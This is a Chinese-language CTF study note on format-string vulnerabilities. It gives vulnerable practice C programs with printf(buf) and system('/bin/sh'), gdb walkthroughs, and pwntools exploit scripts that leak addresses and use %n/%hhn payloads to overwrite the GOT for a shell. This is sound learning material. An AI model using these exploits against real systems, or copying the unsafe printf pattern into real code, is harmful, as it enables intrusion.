格式化字符串基础

前置知识

  • C语言中关于转义序列

image-20240408021416806

  • C语言中的格式化字符

image-20240408021622317

例题1

  • 源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int dofunc(){
char buf2[0x8];
char buf[0x8]={};
//char buf[0x10]={};
int *p;
buf[0]=0x61;
buf[1]=0x62;
buf[2]=0x63;
buf[3]=0x64;
buf[4]=0x65;
buf[5]=0x66;
buf[6]=0x67;
//buf[7]=0x68;
strcpy(buf2,"deadbeef");
//scanf("%d",buf);l h n
//stpcpy(&buf[8],"deadbeef");
printf("buf_str is %s\n",buf);
printf("buf_addr_p is %p\n",buf);
printf("buf_addr_x is %x\n",buf);
printf("buf[0]_d is %d\n",buf[0]);
printf("buf[0]_10d is %15d\n",buf[0]);
printf("buf[0]_x is %x\n",buf[0]);
printf("buf[0]_10x is %10x\n",buf[0]);
printf("buf[0]_c is %c\n",buf[1]);
printf("buf[0]_10c is %10c\n",buf[0]);
printf("buf_str is %s\n",p);
printf("buf_addr is %p\n",p);
printf("buf_addr_p is %p,next %10$p,next %p,next %p,next %p,next %p,next %p,next %p,next %p , next %p , next %p\n",buf);

return 0;
}

int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_test_1.c -o fmt_test_1_x64
//gcc -m32 fmt_test_1.c -o fmt_test_1_x86
  • %s:输出字符串,以空字符串,ascii码0x00,为结束标志,可以打出指针所指向内存里面的字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
 char buf[0x8]={};
int *p;
buf[0]=0x61;
buf[1]=0x62;
buf[2]=0x63;
buf[3]=0x64;
buf[4]=0x65;
buf[5]=0x66;
buf[6]=0x67;
buf[7]=0x68;
strcpy(buf,"deadbeef");
printf('%s',buf)
# 会输出:abcdefghdeadbeef
# 由于buf结尾没有字符串,deadbeef被追加上去就会就会输出abcdefghdeadbeef
  • %p,打印出变量的地址
    • 变量地址在栈上就打出栈的地址
    • 变量地址在堆位置、在非栈非堆的位置都会打出来相应的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>
int main(void)
{
char buf[10];
int a;
int *p;
p = &a;
printf("but_addr:%p\n",buf);
printf("a_addr:%p\n",a);
printf("p_addr:%p\n",p);
printf("a_addr:%x\n",*p);
return 0;
}

but_addr:0065FEC2
a_addr:00401610
p_addr:0065FEBC
a_addr:0x401610
使用%p可以打印出变量的地址
使用%p打印指针时,是打印指针变量p的地址,而不是打印指针所指向的地址
%p可以打印出完整地址,%x只能打印出部分地址,建议泄露地址用%p
但是该程序使用%p输出没有显示出完整地址,不知道咋回事

  • %x,显示无符号16进制整数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
int main(void)
{
char buf[10];
int a;
int *p;
p = &a;
printf("but_addr:%p\n",buf);
#printf("a_addr:%p\n",a);
#printf("p_addr:%p\n",p);
printf("buf_addr:%x\n",buf);
return 0;
}
输出结果:
but_addr:0065FEC2
buf_addr:65fec2
  • %d,显示有符号十进制数,不多说

  • %c,显示字符类型

  • 在格式化字符串%加数字再加相应字母,表示对齐,例如:%5d

    • 输出的则至少占5位数,输出10:口口口10
    • 输出10000:10000
    • 输出1000000:1000000
    • 总之就是不够位数用空格占位,位数足够就不占位,位数超了就让他超
  • %n记录一个printf在%n之前打印了多少个字符,然后写入printf参数传递的值a,该值a作为地址,将统计的字符写入地址a内存里面。

动调查看程序内部

格式化字符串漏洞

  • 在格式化字符串过程中,会导致一些内存的地址泄露,进而可以得到获取权限的机会
  • 在没有开保护下还可以使用 %10$p可以将第10个地址打出来
1
2
3
4
例如:
printf('1%p 2%10$p 3%p 4%p 5%p 6%p 7%p 8%p 9%p 10%p 11%p');

# 会打印出printf传递的第10个形参
  • 在printf函数调用时,会传递参数。一开始字符串传递给rdi,%p对应的参数传递给rsi,%s对应的参数传递给rdx…

image-20240408204847294

image-20240408205508189

image-20240408205607924

例题1 x64

  • 程序源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int test1;
int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int dofunc(){
char buf1[0x10];
char buf2[0x10];
char buf3[0x10];
int test2=0;
int test3=0;
while(1){
puts("input:");
read(0,buf1,0x100);
printf(buf1);
if(test3==100)
system("/bin/sh");
}
return 0;
}

int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_test_2.c -o fmt_test_2_x64
//gcc -m32 fmt_test_2.c -o fmt_test_2_x86
  • 查看保护

image-20240409115724911

gdb动调

地址的泄露

  • 将执行步骤调到dofunc中输入阶段,进行输入,查看输入的数据存储在哪里,发现输入的a最终会存储到栈上

image-20240409120109640

image-20240409120152477

  • 再动调到read函数执行后首先执行的printf函数,查看源码,是printf(buf1)

image-20240409120303537

image-20240409120345308

  • rsp所指的位置,是printf函数传递的第6个参数,下一个高地址就是第7个参数,以此类推

image-20240409120632526

  • 再来查看栈,会发现第十四个参数到了rbp所指的栈了,该栈中存储的是下一个rbp指向的位置,第十五个参数就是就是返回地址了。
  • 如果能把返回地址打印出来,再减去偏移量,就能知道整个程序的基地址了,就能进行后续操作了SQQQ

image-20240409121048138

  • 尝试格式化字符串漏洞泄露地址。先回到call read指令,ni一步,然后输入%15$p,对第15个参数(rbp下一位的参数)进行泄露。
  • 再跳转到printf函数查看输出结果,会发现把返回地址泄露出来了

image-20240409122047374

image-20240409122210643

  • 还可以泄露libc的地址

image-20240409122632417

image-20240409122653721

数据的写入

  • 写入原理

    • %s是将传递的形参的值a作为地址,去寻找地址a,读取并输出a里面存储的字符串
    • %n是将传递的形参a作为地址,去寻找地址a,在a中写入数据
  • 尝试写入,先用%9$p打印出地址的值,发现打印的是栈中存放的数据

image-20240409124602235

image-20240409124837864

  • 接下来尝试写入,回到call read阶段,写入aaaaaaaaa%9$n

image-20240409125054461

image-20240409125210721

  • 打印出来后查看栈,发现地址被写入了0x7fff00000009
  • %n是int类型的写入,所以才写入了4字节,000000009,写入的9是前面输入a的个数9
  • %hn、%hhn,会写入更小的字节

image-20240409125406141

如何获得例题1的shell

  • 查看源码和对应的汇编
    • 发现[rbp-8]要与0x64比较,没有直接指向[rbp-8]的地址,要修改改地址里面的值就不太方便修改里面的值了
    • 栈里面没有存储[rbp-8]这个地址,但是在栈中发现有一个栈,栈中存储着另外一个栈的地址(尤其是rbp所指的位置)这时就要用%n进行写入操作。也可以利用read写入地址。(前提栈上的地址要泄露出来
    • 或者利用%n将输入的数据进行修改操作

image-20240409125915018

image-20240409125833327

  • 先将栈的地址给泄露出来,在read写入%14p,使得printf打印出地址

image-20240409185813398

image-20240409190626715

  • 再查看read函数写入栈的起始位置0x7fffffffdfc0,这时就需要通过泄露地址 0x7fffffffdff0 - 0x30得到起始地址

image-20240409190137103

  • 进行下一次的循环之后,用read写入,要比较的地址[rbp-8]即:0x7fffffffdfd8,再通过%n修改指定栈中值所指内存地址里面的值,即可取得shell。这里为了方便就不用exp实现,直接修改栈中的值。

  • 利用read函数输入,%100c%8$hhnaaaa

image-20240409194553258

  • 设置0x7fffffffdfb0的值为[rbp-8]即:0x7fffffffdfd8

image-20240409194304814

image-20240409194319494

  • 这样运行一下就可以修改[rbp-8]即:0x7fffffffdfd8里面的值。这里在运行printf函数时出现段错误,就用set模拟了一下。用脚本这样打肯定是不成功的。

image-20240409195124642

栈对齐

  • 在用脚本打时还要注意栈对齐和其他一些小细节问题
  • 先放exp:这里用的是别人的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile= './fmt_test_2_x64'
io = process(pwnfile)
#io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)


io.recvline()

payload_search_stack = b'%14$p'
io.sendline(payload_search_stack)

stack_1 = int(io.recv()[2:14],16)
test3_addr = stack_1 - 0x18
print("stack_1 is :" , hex(stack_1))

payload = b'%100c%12$hhnaaaa' + p64(test3_addr)

io.send(payload)
pause()

io.interactive()
  • 注意点1:stack_1 = int(io.recv()[2:14],16)
1
2
用%p用printf打出来是16进制的,带有0x前缀(0x7fffffff1231),这是不需要接收。
所以就用字符串的切片,从第3个开始接收到第13个(接收:7fffffff1231)
  • 注意点2:栈对齐,payload = b’%100c%12$hhnaaaa’ + p64(test3_addr)
1
2
3
4
5
6
7
8
9
10
0x7fffffffdfc0 ◂— 'aksmdaasdas\nUU'
0x7fffffffdfc8 ◂— 0x55550a736164 /* 'das\nUU' */
0x7fffffffdfd0 ◂— 0x0
读取地址的时候都是从末尾是0或者8开始读取
而不是在半中间读取的,而%100c%12$hhnaaaa
0x7fffffffdfc0 ◂— '%100c%12$hhn\nU'
0x7fffffffdfc8 ◂— 0x550a6e686824 /* '$hhn\nU' */
如果后面直接跟地址就会变成在内存0x7fffffffdfcc处写入7ffffff等。
这时再用%12$hhu去读取就不会得到正确的地址所以要送入正确的地址就需要栈对齐
对所输入的%100c%12$hhn化零为整,使得写入test3_addr时从地址末尾是0或者8处时开始写
  • 注意点3:是**%100c%12hhnaaaa还是hhnaaaa**还是**%92c%12hhnaaaa**
1
2
3
%n写入的是前面所统计一共输入多少字长。
如果p64(test3_addr)+b'aaaa' b'%100c%12$hhnaaaa'地址在前,之后还用%100c
那么%n写入的值会大于100,这时需要修改%100c为%92c,修改多少视具体情况而定

总结

  1. 用格式化字符串泄露

栈上格式化字符串

  • 找到偏移地址
  • 任意地址的写入
  • 修改什么地方的值
    • 修改栈上的值
      • 修改栈上特定值,以便可以得到shell
      • 修改返回地址到system,修改返回地址的后三个,做到模拟调用system(‘/bin/sh’)
    • 修改got表项
    • 修改one_gadget
    • 修改malloc_hook:printf参数超过 %43$p(大概这个数),printf就会调用malloc
    • 修改iofile
  • 寻找system的地址
    • 泄露got表项地址
    • 在开启pie无法泄露的情况下,还需要理由内存中有的地址来间接计算(如返回地址等)

x86栈上格式化字符串

  • 源码,有一个通用的特点,一般都有一个while的循环
  • 由于字符串漏洞可以泄露任意地址,这就导致gcc编译对于字符串格式化的保护就很全,导致没办法打
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int dofunc(){
char buf[0x100] ;
while(1){
puts("input:");
read(0,buf,0x100);
if(!strncmp(buf,"quit",4))
break;
printf(buf);
}
return 0;
}

int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_str_level_1.c -z lazy -o fmt_str_level_1_x64
//gcc -m32 fmt_str_level_1.c -z lazy -o fmt_str_level_1_x86

gdb动调

  • si步入dofunc函数里面进去
  • ni到这read这一步,继续ni,然后输入aaaa

image-20240415203217481

  • ni走到dofunc函数的printf函数

image-20240415202915334

  • 之后在输出点看清楚print函数的对应的传参
  • esp所指的下面一个栈,才是32为printf函数传递的第一个参数

image-20240415205010808

  • 在看清楚对应的传参后,就可以重新走一遍,到上方的read函数,尝试着利用格式化字符串漏洞,输入4个a+10个%p

image-20240415204516969

  • 查看print函数输出的内容,对应栈的地址

image-20240415204808033

image-20240415205317739

格式化字符串漏洞利用

修改

  • 利用read写入所需要的地址,在利用%n去间接修改地址里面的值
  • 先进行尝试,利用read函数写入 aaaa%7$n,ni到call printf时查看栈的情况

image-20240416101527174

image-20240416101828006

  • 将栈地址0xffffd02c里面的内容0x61616161修改为,0xffffd028(也就是0xffffd02c上一个栈的地址),模拟用Python脚本打的时候写入地址。

image-20240416102324369

泄露

在没有开启PIE的情况下

  • 可以通过输入got表的地址,再利用格式化字符串泄露出libc地址
  • 在调用read函数时写入 aaaa%7$s,再将aaaa的值修改成为read的got表的地址,利用%s打印出libc的地址

image-20240416104129741

  • 会打出来红框数据,但是打出来的是不可见字符

image-20240416104345090

image-20240416104421410

在开启PIE的情况下

  • 泄露返回地址
  • 查看存储返回地址的栈地址

image-20240416105248892

  • 走到call printf时,查看esp指向的栈位置

image-20240416105406103

  • 计算返回地址所在的栈的位置是printf函数的第几个参数

image-20240416105513064

  • 输入%75%p后打出来的值为

image-20240416105605092

  • 这样就可以计算出main的起始地址
1
2
3
4
5
6
main_addr_30 = 0x5655638e
main_addr = 0x5655638e - 0x30
由于开启了pie,main函数相对puts函数的got表偏移
offset = elf.symbols['main'] - elf.got['puts']
所以得到puts函数的got表的绝对地址
put_got = main_addr -offset

实行

  • 用%hhn+循环修改地址,如果直接用%0xffff5a4c%7$n修改地址,那么%0xffff5a4c太大会导致程序崩溃
  • 所以需要一个字节一个字节的修改
1
2
3
4
在0x56559010利用%hhn修改一个字节
在0x56559011利用%hhn修改一个字节
在0x56559012利用%hhn修改一个字节
在0x56559013利用%hhn修改一个字节

image-20240416113227927

image-20240416114048033

image-20240416114128274

  • 这样就可以修改got表里面的地址

image-20240416114413896

  • 之后再发送 /bin/sh\0x00

  • 可以利用pwntools工具:fmtstr_payload()

X64栈上格式化字符串

  • 注意栈对齐和空字符串

非栈上的格式化字符串

  • 前面的栈上的格式化字符串,声明的变量是在栈上的。

  • 利用read函数写入的数据也存储在栈里面,这样就可以输入目标地址(该目标地址存储在栈上),利用%n对目标地址进行修改,这样就可以获取shell

  • 非栈上格式化字符串,无法通过read函数将目标地址存储在栈上,在利用%n获取目标地址。这时只能利用现有的栈里面的数据,自由度相对较低。

  • 四马分肥:

    • 内存一定要有和addr(比如printf_got表的地址)除最低2个字节外,其余部分要一样的地址,x64的要3个地址,x86的要2个地址。
    • 修改完地址后,利用三连指针和格式化字符串%hn一键修改printf的got表,将其改为system的地址,然后得到shell
    • full relro(整个GOT表进行了保护,got表不可写)
    • partial relro (与plt对应的got表仍然可以被修改,但其他与plt无直接关联的got表项是只读的。)
    • 在开缓冲区的情况下该一键改两个字节,缓冲区可能会满,导致修改错误;关缓冲区的时候是以换行符为参考的,所以需要sendline
  • 诸葛连弩:

    • 在一个四连的地址上重复修改地址,一直修改到目标地址,再返回该目标地址,得到shell

四马分肥

  • 该题介绍的是四马分肥

  • 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <unistd.h>
#include <string.h>
//HITCON-Training lab9
char buf[200] ;

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

void do_fmt(){
while(1){
read(0,buf,200);
if(!strncmp(buf,"quit",4))
break;
printf(buf);
}
return ;
}

void play(){
puts("hello");
do_fmt();
return;
}

int main(){
//init_func();
play();
return 0;
}
//gcc fmt_str_level_2.c -z lazy -o fmt_str_level_2_x64
//gcc -m32 fmt_str_level_2.c -z lazy -o fmt_str_level_2_x86

前提准备

  • 查看一些可执行文件的保护

image-20240503112444992

  • 再运行一下程序
    • 该程序会原样输出你所输出的内容,并且遇到字符串quit会退出程序

image-20240503112511564

gdb动调查看

  • 运行程序进入到play函数里面去
  • 设置断点到 do_fmt这个位置中去,再按c进入到do_fmt里面去

image-20240503113226978

  • 使用ni指令单步执行程序到call read,在该处设置一个断点,记下read写入buf的地址 0x5555555580a0 (buf),设置后ni步过call read,再输入8个a

image-20240503113726832

  • 继续步入到打印call printf,栈上是没有输入的aaaaaaaa,就不能像栈上的格式化字符串一样操作了。

image-20240503113904520

方法

  • 利用栈里面现存的数据 栈地址a->地址b->地址c,利用%$n修改的是地址c的值

  • 前面gdb动调按c走到call read断点处,ni后输入 aaaaaaaa,在走到call printf,走到该位置后stack 40查看40个栈空间

image-20240503114443416

  • 利用栈上现有的数据进行格式化字符串漏洞的操作

image-20240503114910390

  • 查看一下got表,得知printf_got表 0x555555558028
  • 使用IDA查看printf_got的偏移量为0x4028,由于内存的分页机制和段机制,可以得到地址的最后三位是一定不变的,所以printf_got表地址最后三位为 0x028
  • 这就给%$n修改地址内容的机会了

image-20240503115007978

攻击思路

  • printf_got 0x555555558028——0x55555555802f一共八个字节
  • printf_got表里面存储的值为 0x7ffff7de66f0即libc中printf函数的地址,将该数据存入内存地址里面。

image-20240503142626604

1
2
3
4
一共内存里面存1个字节
0x555555558028 存入0f
0x555555558029 存入66
按照小端序存入
  • 在gdb动调中查看内存是不是这样存储

image-20240503142841485

  • 查看栈,看到 0x5555555552a1 (play+30),将 0x5555555552a1的后四位 52a1修改为 8028,这样就是printf_got的地址,去修改
  • 0x5555555552c0 (main+28)改为 0x55555555802a
  • 0x5555555552a4 (main)改为 0x55555555802c
  • 0x5555555552a4 (main)改为 0x55555555802e
  • 将这些地址改为printf_got的地址,分别俩个字节俩个字节的去改got表的值

image-20240503144220889

  • 这里又出现一个问题,这些紫色框内的数据是不可直接被修改的,那么就需要这种形式去间接修改紫色框内的数据栈地址a->栈地址b->地址c,rbp地址就成为很好的利用对象了。

总结

1
2
3
4
5
6
1.泄露栈地址
2.使用栈上现有的三连指针将最低x位改成存储待修改值的地址
3.修改待修改的值为got表项最低位
4.以上步骤*4
5.一次性修改所有的内容,将got表项值改成system
6.传入/bin/sh\x00

攻击

  • 修改got表的地址

  • exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context(arch = 'amd64',os='Linux',endian='little')#log_level='debug')
e = ELF('./fmt_str_level_2_x64')
io = process('./fmt_str_level_2_x64')

io.sendlineafter(b'hello',b'%6$p')
io.recvuntil(b'0x')
stack = io.recvline()
stack = int(stack,16)
stack_offset_1 = -0x8
stack_offset_2 = 0x8
stack_offset_3 = 0x28
stack_offset_4 = 0x28

io.sendline(b'%7$p')
io.recvuntil(b'0x')
play_leak = io.recvline()
play_leak = int(play_leak,16)
print('play_leak:',hex(play_leak))
play_addr = play_leak - 0x12A1

printf_got = play_addr + 0x4028

print('stack:',hex(stack))

stack = stack & 0xffff
stack_addr1 = stack + stack_offset_1
stack_addr2 = stack + stack_offset_2
stack_addr3 = stack + stack_offset_3
stack_addr4 = stack + stack_offset_4

print(hex(stack))
print(hex(stack_addr1))

payload1 = b'%' + str(stack_addr1).encode('utf-8') +b'c%6$hn'
io.sendline(payload1)


printf_got = printf_got & 0xffff
print(hex(printf_got))

payload11 = b'%' + str(printf_got).encode('utf-8') + b'c%8$hn'
io.sendline(payload11)

gdb.attach(io)

io.interactive()

诸葛连弩

  • 本例题介绍的是诸葛连弩的方法

  • 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <unistd.h>
#include <string.h>
//HITCON-Training lab9
char buf[200] ;

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

void do_fmt(){
while(1){
read(0,buf,200);
if(!strncmp(buf,"quit",4))
break;
printf(buf);
}
return ;
}

void play(){
puts("hello");
do_fmt();
return;
}
int main(){
init_func();
play();
return 0;
}
//gcc fmt_str_level_2.c -z lazy -o fmt_str_level_2_x64
//gcc -m32 fmt_str_level_2.c -z lazy -o fmt_str_level_2_x86

方法

  • 寻找四连地址:如果没有现成的四连地址,那就先利用%hhn修改栈上数据,从而构造出一个栈上数据。在call printf这个汇编指令这边找,得到的参数会比较准确一点
  • 下图中只寻找到了三连地址,没有找到四连地址,那就主动给改成四连地址。

image-20240507201621713

  • 利用%hhn将三连地址改成四连地址,此题甚至改成了六连地址,下图修改这样就有了四连地址
    • 这里需要注意的是如果找rbp的地址这个地址是随机的,这个要利用 %p泄露栈上的地址,再去计算之后的偏移
    • 如果找这种0x7fffffffdfd8 —▸ 0x7fffffffe0c8 —▸ 0x7fffffffe2d3 ◂— '/home/myheart/pwn_learn/chapter_3/fmt_test3/fmt_str_level_2_buf_x64',这个地址就不会随机
    • 还可以这样 0x7fffffffdf90 -> 0x7fffffffdfa0 -> 0x7fffffffdfb0 -> 0x1,一步一步改为0x7fffffffdf90 -> 0x7fffffffdfa0 -> 0x7fffffffdfb0 -> got表

image-20240507201903007

  • 具体诸葛连弩的操作
    • 具体的目标地址可以是got表(不能修改printf@got表)、返回地址、栈地址、逐个修改栈上数据构造ROP链等等
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
目标地址:printf@got:0x555555558028
需要修改成的地址:sys_addr: 0x7ffff7dd6d70
0x7fffffffdf90 -> 0x7fffffffdfa0 -> 0x7fffffffdfd8 -> 0x7fffffffe0c8

首先,将四连地址中第4个地址给该成目标地址,利用%hhn,一个字节一个字节的修改
先通过:
0x7fffffffdfa0 -> 0x7fffffffdfd8 -> 0x7fffffffe0c8
利用%hhn修改 0x7fffffffe0c80x7fffffffe028
c8 改为 28

再通过:
0x7fffffffdf90 -> 0x7fffffffdfa0 -> 0x7fffffffdfd8
利用%hhn修改 0x7fffffffdfd80x7fffffffdfd9
d8 改为 d9
0x7fffffffdfd9 里面存储的就是0x7fffffffe0c8中的 e0

之后:
0x7fffffffdfa0 -> 0x7fffffffdfd9 -> 0x7fffffffe0 (28)
利用%hhn修改 0x7fffffffe00x7fffffff80 (28)
e0 改为 80

之后:
0x7fffffffdf90 -> 0x7fffffffdfa0 -> 0x7fffffffdfda
利用%hhn修改 0x7fffffffdfd90x7fffffffdfda
d9 改为 da

之后:
0x7fffffffdfa0 -> 0x7fffffffdfd9 -> 0x7fffffff (e028)
利用%hhn修改 0x7fffffff0x7fffff55 (e028)
.........
修改完就变成
0x7fffffffdf90 -> 0x7fffffffdfa0 -> 0x7fffffffdfdc -> 0x55 (5555558028)




再将四连中的地址3修改回去0x7fffffffdfdc -> 0x7fffffffdfd8

修改完后形成五连地址
0x7fffffffdf90 -> 0x7fffffffdfa0 -> 0x7fffffffdfd8 -> 0x555555558028 ->0x7ffff7de66f0 (printf)

然后再通过后四连地址逐步修改0x7ffff7de66f0 (printf)将其修改为sys_addr: 0x7ffff7dd6d70
0x7fffffffdfa0 -> 0x7fffffffdfd8 -> 0x555555558028 ->0x7ffff7de66f0 (printf)

不能修改 的内存

  • 循环中要使用的内存,比如printf@got表
  • 4链中所需要使用到的内存

格式化字符串星号的作用

  • 一般会去掉符号表,稍微提升一点难度

示例程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

int dofunc(){
char buf1[8]={} ;
char buf2[0x10];
char buf3[8]={};
long long int *p = (long long int)buf1 ;
int fd = open("/dev/random",0);
int d = 0 ;
read(fd , buf1,2);
read(fd , buf3,2);
close(fd);
puts("input:");
read(0,buf2,0x10);
printf(buf2);
if(!strncmp(buf1,buf3,2))
{
system("/bin/sh");
}
return 0;
}

int main(){
init_func();
dofunc();
return 0;
}
//gcc fmt_str_level_star.c -o fmt_str_level_star_x64
//gcc -m32 fmt_str_level_star.c -o fmt_str_level_star_x86

gdb动调

  • 先步入到如图所示的位置

image-20240510011530770

  • 再查看栈,发现read函数会将随机的俩个字节的数读取到栈上

image-20240510011756590

  • 如图所示,read将0xc2f1读入栈中

image-20240510011818663

  • 然后再使用read读2个字节到下一个栈中

image-20240510011930296

  • 如下图,read将0x6e33读入栈中

image-20240510012006830

  • 然后步入到如下图所示的地方

image-20240510012107338

  • 根据程序源码得到,如果想要得到shell,那么两个随机读入的2字节数必须相等

image-20240510012243258

  • 这是需要用户输入一些值,这些值将存储在buf2中,并且使用printf打印出来,但是读入的值是在栈上的高地址,无法进行覆盖

image-20240510012359546

  • 这时就需要使用%hhn去修改

  • 例如输入:%100c%7$hhn,%7$hhn前面有100个字符,所以%7hhn就会将100存入stack1 ->stack2 ->data中的data里面去

  • 但是这题的需求是俩个字符串相等,这时就需要使用%*10$c%7hhn,这样就会读取printf函数传入的第10个参数(栈)里面的值(假设是142),这样%*10$c%7$hhn的效果就与%142c%7$hhn一样了

  • printf传参如下

image-20240510013440332

  • 要像使得buf1和buf3的里面的值相等,那么就要输入%*9$c%7$hn,将栈0x7fffffffdf40里面的值通过 0x7fffffffdf38 —▸ 0x7fffffffdf40 ◂— 0xc2f1三连进行修改这俩个字节,然后取得shell

image-20240510014802524

格式化字符串开启FULL-RELRO保护

  • 修改栈上的返回地址,构造ROP链

一次的格式化字符串漏洞